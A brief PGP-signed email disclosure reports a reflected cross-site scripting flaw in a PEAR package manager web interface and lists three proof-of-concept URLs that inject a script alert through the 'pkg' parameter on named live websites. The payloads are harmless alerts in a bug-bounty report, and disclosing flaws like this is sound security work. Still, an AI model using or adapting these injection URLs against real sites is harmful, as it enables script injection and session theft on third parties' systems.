xss reflected on systeme management pear

--Sig_/i86IMCVashVeRqiO0iKu=i.
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

hey admin

i have discovered
xss reflected on pear package management systeam

http://www.refreshltd.co.uk/index.php?command=3Dinfo&pkg=3D%22/%3E%3C/scrip=
t%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://www.sagamicc.org/install/index.php?command=3Dinfo&pkg=3D%22/%3E%3C/s=
cript%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://funrunwalk.nz/pear/index.php?command=3Dinfo&pkg=3D%22/%3E%3C/script%=
3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E

--Sig_/i86IMCVashVeRqiO0iKu=i.
Content-Type: application/pgp-signature
Content-Description: Signature digitale OpenPGP

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEE5NB6SiWM3JW87faj4prhl/36GboFAlnXKzAACgkQ4prhl/36
Gbq+qQ/9G/eARPCY48Cmb0W1LnYihZm3j0WtExSAD+vAwztX6zDWaTfommiGBV9m
Qw3oy/9E+FcacY9GeSuX2zGvlddHtkTqnFXU1y6lgQygO8yIQf7gejU57w5RzqFR
dcpVfQ2UAfJ5aBI5nPKwxu/IedbxakONgWhAMZAuLiG1OeeVGFfqv8L+PJAkc81g
qJz8sYdO59D0M+OWCLh2kB8fOYrnXiK5TN6FEDKyu3qWOxxVtBtatfa1TNuQ+0RS
kJHO6HGuSbDO8EdKFHO6bHM+jjxoxvJBtOtutfbh0xxmigctAfzjQsfs0gbTlJTX
hNm+TmDggGpnY8cArTfKKx69p8dF3B7NwBbFMXB+B/C1AZo+4t65lhVgtU3DWeFY
H6SBGkhMzZUHi9jGFo20zaYKDuVZHK3zeZGbe9xMdGV4mLyEw7P0l+BAvMzmH/CF
r82+8jdEr4axoTIfgeceLem2ToZ9P0LBHv7jM3Ph856l26fV/1xglmGqPhslREn2
N/VKkG6FA6sR0YxjcYaWqsvlyxLxxoMq6+MAauWjY99c/66CGQinS5Iy6czQoy2o
KEClkKk/Qf9MGHl/rm4O5VSxmFWDKrLbcRPTQRq5NP0Xyvd4Qm69BDNneCwD2Nd8
F6SYy6jjuiAgVC0rqGhU9MZPEkwfdlgdxB+PzlEotRUI+tbvT8s=
=Dyy7
-----END PGP SIGNATURE-----

--Sig_/i86IMCVashVeRqiO0iKu=i.--